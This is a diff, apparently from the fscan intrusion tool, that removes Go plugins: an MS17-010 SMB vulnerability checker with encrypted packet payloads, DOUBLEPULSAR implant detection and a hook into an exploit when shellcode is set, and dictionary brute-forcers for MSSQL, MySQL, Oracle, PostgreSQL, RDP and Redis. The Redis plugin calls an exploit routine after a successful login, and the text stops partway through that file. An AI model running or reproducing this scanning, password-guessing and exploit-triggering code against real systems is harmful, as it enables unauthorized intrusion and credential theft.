negotiateProtocolRequest_enc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD"
|
||||
sessionSetupRequest_enc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8"
|
||||
treeConnectRequest_enc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg=="
|
||||
transNamedPipeRequest_enc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA=="
|
||||
trans2SessionSetupRequest_enc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk="
|
||||
negotiateProtocolRequest, _ = hex.DecodeString(AesDecrypt(negotiateProtocolRequest_enc, key))
|
||||
sessionSetupRequest, _ = hex.DecodeString(AesDecrypt(sessionSetupRequest_enc, key))
|
||||
treeConnectRequest, _ = hex.DecodeString(AesDecrypt(treeConnectRequest_enc, key))
|
||||
transNamedPipeRequest, _ = hex.DecodeString(AesDecrypt(transNamedPipeRequest_enc, key))
|
||||
trans2SessionSetupRequest, _ = hex.DecodeString(AesDecrypt(trans2SessionSetupRequest_enc, key))
|
||||
)
|
||||
|
||||
func MS17010(info *common.HostInfo) error {
|
||||
if common.IsBrute {
|
||||
return nil
|
||||
}
|
||||
err := MS17010Scan(info)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Ms17010 %v %v", info.Host, err)
|
||||
common.LogError(errlog)
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func MS17010Scan(info *common.HostInfo) error {
|
||||
ip := info.Host
|
||||
// connecting to a host in LAN if reachable should be very quick
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second)
|
||||
defer conn.Close()
|
||||
if err != nil {
|
||||
//fmt.Printf("failed to connect to %s\n", ip)
|
||||
return err
|
||||
}
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
//fmt.Printf("failed to connect to %s\n", ip)
|
||||
return err
|
||||
}
|
||||
_, err = conn.Write(negotiateProtocolRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
reply := make([]byte, 1024)
|
||||
// let alone half packet
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
// status != 0
|
||||
return err
|
||||
}
|
||||
|
||||
_, err = conn.Write(sessionSetupRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
n, err := conn.Read(reply)
|
||||
if err != nil || n < 36 {
|
||||
return err
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
// status != 0
|
||||
//fmt.Printf("can't determine whether %s is vulnerable or not\n", ip)
|
||||
var Err = errors.New("can't determine whether target is vulnerable or not")
|
||||
return Err
|
||||
}
|
||||
|
||||
// extract OS info
|
||||
var os string
|
||||
sessionSetupResponse := reply[36:n]
|
||||
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
|
||||
// find byte count
|
||||
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
|
||||
if n != int(byteCount)+45 {
|
||||
fmt.Println("[-]", ip+":445", "ms17010 invalid session setup AndX response")
|
||||
} else {
|
||||
// two continous null bytes indicates end of a unicode string
|
||||
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
||||
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
|
||||
os = string(sessionSetupResponse[10:i])
|
||||
os = strings.Replace(os, string([]byte{0x00}), "", -1)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
userID := reply[32:34]
|
||||
treeConnectRequest[32] = userID[0]
|
||||
treeConnectRequest[33] = userID[1]
|
||||
// TODO change the ip in tree path though it doesn't matter
|
||||
_, err = conn.Write(treeConnectRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
}
|
||||
|
||||
treeID := reply[28:30]
|
||||
transNamedPipeRequest[28] = treeID[0]
|
||||
transNamedPipeRequest[29] = treeID[1]
|
||||
transNamedPipeRequest[32] = userID[0]
|
||||
transNamedPipeRequest[33] = userID[1]
|
||||
|
||||
_, err = conn.Write(transNamedPipeRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
}
|
||||
|
||||
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
||||
//fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
|
||||
//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
|
||||
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
|
||||
result := fmt.Sprintf("[+] MS17-010 %s\t(%s)", ip, os)
|
||||
common.LogSuccess(result)
|
||||
defer func() {
|
||||
if common.SC != "" {
|
||||
MS17010EXP(info)
|
||||
}
|
||||
}()
|
||||
// detect present of DOUBLEPULSAR SMB implant
|
||||
trans2SessionSetupRequest[28] = treeID[0]
|
||||
trans2SessionSetupRequest[29] = treeID[1]
|
||||
trans2SessionSetupRequest[32] = userID[0]
|
||||
trans2SessionSetupRequest[33] = userID[1]
|
||||
|
||||
_, err = conn.Write(trans2SessionSetupRequest)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
return err
|
||||
}
|
||||
|
||||
if reply[34] == 0x51 {
|
||||
result := fmt.Sprintf("[+] MS17-010 %s has DOUBLEPULSAR SMB IMPLANT", ip)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
|
||||
} else {
|
||||
result := fmt.Sprintf("[*] OsInfo %s\t(%s)", ip, os)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
return err
|
||||
|
||||
}
|
||||
@@ -1,57 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/denisenkom/go-mssqldb"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MssqlScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
return
|
||||
}
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["mssql"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := MssqlConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(common.Timeout)*time.Second)
|
||||
db, err := sql.Open("mssql", dataSourceName)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
|
||||
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
|
||||
db.SetMaxIdleConns(0)
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
result := fmt.Sprintf("[+] mssql %v:%v:%v %v", Host, Port, Username, Password)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
@@ -1,57 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/go-sql-driver/mysql"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MysqlScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
return
|
||||
}
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["mysql"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := MysqlConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] mysql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(common.Timeout)*time.Second)
|
||||
db, err := sql.Open("mysql", dataSourceName)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
|
||||
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
|
||||
db.SetMaxIdleConns(0)
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
result := fmt.Sprintf("[+] mysql %v:%v:%v %v", Host, Port, Username, Password)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
@@ -1,57 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
_ "github.com/sijms/go-ora/v2"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func OracleScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
return
|
||||
}
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["oracle"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := OracleConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func OracleConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port)
|
||||
db, err := sql.Open("oracle", dataSourceName)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
|
||||
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
|
||||
db.SetMaxIdleConns(0)
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
result := fmt.Sprintf("[+] oracle %v:%v:%v %v", Host, Port, Username, Password)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
@@ -1,114 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"sort"
|
||||
"strconv"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
type Addr struct {
|
||||
ip string
|
||||
port int
|
||||
}
|
||||
|
||||
func PortScan(hostslist []string, ports string, timeout int64) []string {
|
||||
var AliveAddress []string
|
||||
probePorts := common.ParsePort(ports)
|
||||
noPorts := common.ParsePort(common.NoPorts)
|
||||
if len(noPorts) > 0 {
|
||||
temp := map[int]struct{}{}
|
||||
for _, port := range probePorts {
|
||||
temp[port] = struct{}{}
|
||||
}
|
||||
|
||||
for _, port := range noPorts {
|
||||
delete(temp, port)
|
||||
}
|
||||
|
||||
var newDatas []int
|
||||
for port := range temp {
|
||||
newDatas = append(newDatas, port)
|
||||
}
|
||||
probePorts = newDatas
|
||||
sort.Ints(probePorts)
|
||||
}
|
||||
workers := common.Threads
|
||||
Addrs := make(chan Addr, len(hostslist)*len(probePorts))
|
||||
results := make(chan string, len(hostslist)*len(probePorts))
|
||||
var wg sync.WaitGroup
|
||||
|
||||
//接收结果
|
||||
go func() {
|
||||
for found := range results {
|
||||
AliveAddress = append(AliveAddress, found)
|
||||
wg.Done()
|
||||
}
|
||||
}()
|
||||
|
||||
//多线程扫描
|
||||
for i := 0; i < workers; i++ {
|
||||
go func() {
|
||||
for addr := range Addrs {
|
||||
PortConnect(addr, results, timeout, &wg)
|
||||
wg.Done()
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
//添加扫描目标
|
||||
for _, port := range probePorts {
|
||||
for _, host := range hostslist {
|
||||
wg.Add(1)
|
||||
Addrs <- Addr{host, port}
|
||||
}
|
||||
}
|
||||
wg.Wait()
|
||||
close(Addrs)
|
||||
close(results)
|
||||
return AliveAddress
|
||||
}
|
||||
|
||||
func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
|
||||
host, port := addr.ip, addr.port
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
|
||||
defer conn.Close()
|
||||
if err == nil {
|
||||
address := host + ":" + strconv.Itoa(port)
|
||||
result := fmt.Sprintf("%s open", address)
|
||||
common.LogSuccess(result)
|
||||
wg.Add(1)
|
||||
respondingHosts <- address
|
||||
}
|
||||
}
|
||||
|
||||
func NoPortScan(hostslist []string, ports string) (AliveAddress []string) {
|
||||
probePorts := common.ParsePort(ports)
|
||||
noPorts := common.ParsePort(common.NoPorts)
|
||||
if len(noPorts) > 0 {
|
||||
temp := map[int]struct{}{}
|
||||
for _, port := range probePorts {
|
||||
temp[port] = struct{}{}
|
||||
}
|
||||
|
||||
for _, port := range noPorts {
|
||||
delete(temp, port)
|
||||
}
|
||||
|
||||
var newDatas []int
|
||||
for port, _ := range temp {
|
||||
newDatas = append(newDatas, port)
|
||||
}
|
||||
probePorts = newDatas
|
||||
sort.Ints(probePorts)
|
||||
}
|
||||
for _, port := range probePorts {
|
||||
for _, host := range hostslist {
|
||||
address := host + ":" + strconv.Itoa(port)
|
||||
AliveAddress = append(AliveAddress, address)
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -1,55 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/lib/pq"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func PostgresScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
return
|
||||
}
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["postgresql"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||
flag, err := PostgresConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] psql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
|
||||
db, err := sql.Open("postgres", dataSourceName)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
result := fmt.Sprintf("[+] Postgres:%v:%v:%v %v", Host, Port, Username, Password)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
-193
@@ -1,193 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/tomatome/grdp/core"
|
||||
"github.com/tomatome/grdp/glog"
|
||||
"github.com/tomatome/grdp/protocol/nla"
|
||||
"github.com/tomatome/grdp/protocol/pdu"
|
||||
"github.com/tomatome/grdp/protocol/rfb"
|
||||
"github.com/tomatome/grdp/protocol/sec"
|
||||
"github.com/tomatome/grdp/protocol/t125"
|
||||
"github.com/tomatome/grdp/protocol/tpkt"
|
||||
"github.com/tomatome/grdp/protocol/x224"
|
||||
"log"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
type Brutelist struct {
|
||||
user string
|
||||
pass string
|
||||
}
|
||||
|
||||
func RdpScan(info *common.HostInfo) (tmperr error) {
|
||||
if common.IsBrute {
|
||||
return
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
var signal bool
|
||||
var num = 0
|
||||
var all = len(common.Userdict["rdp"]) * len(common.Passwords)
|
||||
var mutex sync.Mutex
|
||||
brlist := make(chan Brutelist, all)
|
||||
port, _ := strconv.Atoi(info.Ports)
|
||||
|
||||
for _, user := range common.Userdict["rdp"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
brlist <- Brutelist{user, pass}
|
||||
}
|
||||
}
|
||||
|
||||
for i := 0; i < common.BruteThread; i++ {
|
||||
wg.Add(1)
|
||||
go worker(info.Host, common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, common.Timeout)
|
||||
}
|
||||
|
||||
close(brlist)
|
||||
go func() {
|
||||
wg.Wait()
|
||||
signal = true
|
||||
}()
|
||||
for !signal {
|
||||
}
|
||||
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func worker(host, domain string, port int, wg *sync.WaitGroup, brlist chan Brutelist, signal *bool, num *int, all int, mutex *sync.Mutex, timeout int64) {
|
||||
defer wg.Done()
|
||||
for one := range brlist {
|
||||
if *signal == true {
|
||||
return
|
||||
}
|
||||
go incrNum(num, mutex)
|
||||
user, pass := one.user, one.pass
|
||||
flag, err := RdpConn(host, domain, user, pass, port, timeout)
|
||||
if flag == true && err == nil {
|
||||
var result string
|
||||
if domain != "" {
|
||||
result = fmt.Sprintf("[+] RDP %v:%v:%v\\%v %v", host, port, domain, user, pass)
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] RDP %v:%v:%v %v", host, port, user, pass)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
*signal = true
|
||||
return
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] (%v/%v) rdp %v:%v %v %v %v", *num, all, host, port, user, pass, err)
|
||||
common.LogError(errlog)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func incrNum(num *int, mutex *sync.Mutex) {
|
||||
mutex.Lock()
|
||||
*num = *num + 1
|
||||
mutex.Unlock()
|
||||
}
|
||||
|
||||
func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) {
|
||||
target := fmt.Sprintf("%s:%d", ip, port)
|
||||
g := NewClient(target, glog.NONE)
|
||||
err := g.Login(domain, user, password, timeout)
|
||||
|
||||
if err == nil {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, err
|
||||
}
|
||||
|
||||
type Client struct {
|
||||
Host string // ip:port
|
||||
tpkt *tpkt.TPKT
|
||||
x224 *x224.X224
|
||||
mcs *t125.MCSClient
|
||||
sec *sec.Client
|
||||
pdu *pdu.Client
|
||||
vnc *rfb.RFB
|
||||
}
|
||||
|
||||
func NewClient(host string, logLevel glog.LEVEL) *Client {
|
||||
glog.SetLevel(logLevel)
|
||||
logger := log.New(os.Stdout, "", 0)
|
||||
glog.SetLogger(logger)
|
||||
return &Client{
|
||||
Host: host,
|
||||
}
|
||||
}
|
||||
|
||||
func (g *Client) Login(domain, user, pwd string, timeout int64) error {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
|
||||
defer conn.Close()
|
||||
if err != nil {
|
||||
return fmt.Errorf("[dial err] %v", err)
|
||||
}
|
||||
glog.Info(conn.LocalAddr().String())
|
||||
|
||||
g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
|
||||
g.x224 = x224.New(g.tpkt)
|
||||
g.mcs = t125.NewMCSClient(g.x224)
|
||||
g.sec = sec.NewClient(g.mcs)
|
||||
g.pdu = pdu.NewClient(g.sec)
|
||||
|
||||
g.sec.SetUser(user)
|
||||
g.sec.SetPwd(pwd)
|
||||
g.sec.SetDomain(domain)
|
||||
//g.sec.SetClientAutoReconnect()
|
||||
|
||||
g.tpkt.SetFastPathListener(g.sec)
|
||||
g.sec.SetFastPathListener(g.pdu)
|
||||
g.pdu.SetFastPathSender(g.tpkt)
|
||||
|
||||
//g.x224.SetRequestedProtocol(x224.PROTOCOL_SSL)
|
||||
//g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP)
|
||||
|
||||
err = g.x224.Connect()
|
||||
if err != nil {
|
||||
return fmt.Errorf("[x224 connect err] %v", err)
|
||||
}
|
||||
glog.Info("wait connect ok")
|
||||
wg := &sync.WaitGroup{}
|
||||
breakFlag := false
|
||||
wg.Add(1)
|
||||
|
||||
g.pdu.On("error", func(e error) {
|
||||
err = e
|
||||
glog.Error("error", e)
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
g.pdu.On("close", func() {
|
||||
err = errors.New("close")
|
||||
glog.Info("on close")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
g.pdu.On("success", func() {
|
||||
err = nil
|
||||
glog.Info("on success")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
g.pdu.On("ready", func() {
|
||||
glog.Info("on ready")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
g.pdu.On("update", func(rectangles []pdu.BitmapData) {
|
||||
glog.Info("on update:", rectangles)
|
||||
})
|
||||
g.pdu.On("done", func() {
|
||||
if breakFlag == false {
|
||||
breakFlag = true
|
||||
wg.Done()
|
||||
}
|
||||
})
|
||||
wg.Wait()
|
||||
return err
|
||||
}
|
||||
@@ -1,385 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
dbfilename string
|
||||
dir string
|
||||
)
|
||||
|
||||
func RedisScan(info *common.HostInfo) (tmperr error) {
|
||||
starttime := time.Now().Unix()
|
||||
flag, err := RedisUnauth(info)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
}
|
||||
if common.IsBrute {
|
||||
return
|
||||
}
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", "redis", -1)
|
||||
flag, err := RedisConn(info, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * common.Timeout) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
||||
defer conn.Close()
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
reply, err := readreply(conn)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
if strings.Contains(reply, "+OK") {
|
||||
flag = true
|
||||
dbfilename, dir, err = getconfig(conn)
|
||||
if err != nil {
|
||||
result := fmt.Sprintf("[+] Redis %s %s", realhost, pass)
|
||||
common.LogSuccess(result)
|
||||
return flag, err
|
||||
} else {
|
||||
result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
err = Expoilt(realhost, conn)
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
|
||||
func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
|
||||
flag = false
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
||||
defer conn.Close()
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
_, err = conn.Write([]byte("info\r\n"))
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
reply, err := readreply(conn)
|
||||
if err != nil {
|
||||
return flag, err
|
||||
}
|
||||
if strings.Contains(reply, "redis_version") {
|
||||
flag = true
|
||||
dbfilename, dir, err = getconfig(conn)
|
||||
if err != nil {
|
||||
result := fmt.Sprintf("[+] Redis %s unauthorized", realhost)
|
||||
common.LogSuccess(result)
|
